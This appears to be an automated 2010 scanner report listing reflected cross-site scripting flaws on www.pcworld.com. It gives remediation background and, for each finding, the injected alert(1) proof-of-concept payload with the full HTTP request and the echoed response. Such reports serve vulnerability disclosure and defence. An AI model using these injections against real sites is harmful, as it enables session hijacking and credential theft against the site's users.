Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7d302'-alert(1)-'5100b7f3ca3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/186782/google_docs_not_the_only_free_cloud_storage_in_the_sky.html7d302'-alert(1)-'5100b7f3ca3/x22 HTTP/1.1 Host: www.pcworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=8FD19D83EC22BF3B0497BD7190240199; Path=/ Content-Type: text/html;charset=UTF-8 Date: Mon, 15 Nov 2010 10:48:14 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmln ...[SNIP]... n.isValid = '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/186782/google_docs_not_the_only_free_cloud_storage_in_the_sky.html7d302'-alert(1)-'5100b7f3ca3/x22'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "pcw.last_u ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f7372'-alert(1)-'5c372971717 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/186782/google_docs_not_the_only_free_cloud_storage_in_the_sky.html/x22f7372'-alert(1)-'5c372971717 HTTP/1.1 Host: www.pcworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=3866F9D3FADDA5E3B41EC99B9D4ED0A5; Path=/ Content-Type: text/html;charset=UTF-8 Date: Mon, 15 Nov 2010 10:48:16 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmln ...[SNIP]... Valid = '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/186782/google_docs_not_the_only_free_cloud_storage_in_the_sky.html/x22f7372'-alert(1)-'5c372971717'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "pcw.last_uri=" ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fc6c4'-alert(1)-'7683537c603 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/fc6c4'-alert(1)-'7683537c603/today_pcworld.html/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6JvQiRNghwCzRe32w\\x22\\x3eToday HTTP/1.1 Host: www.pcworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=C206F4C694BF294F838F4AA08DAE34EC; Path=/ Content-Type: text/html;charset=UTF-8 Date: Mon, 15 Nov 2010 10:48:13 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmln ...[SNIP]... ew Object(); Logon.userEmail = pcw_readCookie('userEmail'); Logon.isValid = '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/blogs/fc6c4'-alert(1)-'7683537c603/today_pcworld.html/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6J ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 103d6'-alert(1)-'a4dd3b030dc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/id,56/today_pcworld.html103d6'-alert(1)-'a4dd3b030dc/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6JvQiRNghwCzRe32w\\x22\\x3eToday HTTP/1.1 Host: www.pcworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=26E64102C32F90C6C6F0B6B60A5061B5; Path=/ Content-Type: text/html;charset=UTF-8 Date: Mon, 15 Nov 2010 10:48:15 GMT Connection: close Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1567c'-alert(1)-'db95f55458e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/id,56/today_pcworld.html/x26amp1567c'-alert(1)-'db95f55458e;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6JvQiRNghwCzRe32w\\x22\\x3eToday HTTP/1.1 Host: www.pcworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=067FCDCBD9D4A18CF81EDBE4A8EE083D; Path=/ Content-Type: text/html;charset=UTF-8 Date: Mon, 15 Nov 2010 10:48:17 GMT Connection: close Vary: Accept-Encoding
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/blogs/id,56/today_pcworld.html/x26amp1567c'-alert(1)-'db95f55458e;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6JvQiRNghwCzRe32w\\x22\\x3eT ...[SNIP]...
1.6. http://www.pcworld.com/blogs/id,56/today_pcworld.html/x26amp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pcworld.com
Path:
/blogs/id,56/today_pcworld.html/x26amp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c0d3'-alert(1)-'6eddebac90a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/id,56/today_pcworld.html/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6JvQiRNghwCzRe32w\\x22\\x3eToday&5c0d3'-alert(1)-'6eddebac90a=1 HTTP/1.1 Host: www.pcworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=39CFEAC4D830CB9CEA609ADC54DBAD6B; Path=/ Content-Type: text/html;charset=UTF-8 Date: Mon, 15 Nov 2010 10:48:11 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmln ...[SNIP]... \x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6JvQiRNghwCzRe32w\\x22\\x3eToday&5c0d3'-alert(1)-'6eddebac90a=1'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "pcw.last_uri ...[SNIP]...
The value of the rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6JvQiRNghwCzRe32w\\x22\\x3eToday request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 38eae'-alert(1)-'a9380993a88 was submitted in the rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6JvQiRNghwCzRe32w\\x22\\x3eToday parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/id,56/today_pcworld.html/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6JvQiRNghwCzRe32w\\x22\\x3eToday38eae'-alert(1)-'a9380993a88 HTTP/1.1 Host: www.pcworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=6CB510E19FF1287B92C8876ACDD53311; Path=/ Content-Type: text/html;charset=UTF-8 Date: Mon, 15 Nov 2010 10:48:07 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmln ...[SNIP]... \\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dD9bgTLzBDIT7lwedwo2YAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CHYQ6QUoAQ\\x26amp;q\\x3dcloud+storage\\x26amp;usg\\x3dAFQjCNEwg3dcTslMU6JvQiRNghwCzRe32w\\x22\\x3eToday38eae'-alert(1)-'a9380993a88'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "pcw.last_uri=" ...[SNIP]...
Report generated by XSS.CX at Mon Nov 15 14:38:46 CST 2010.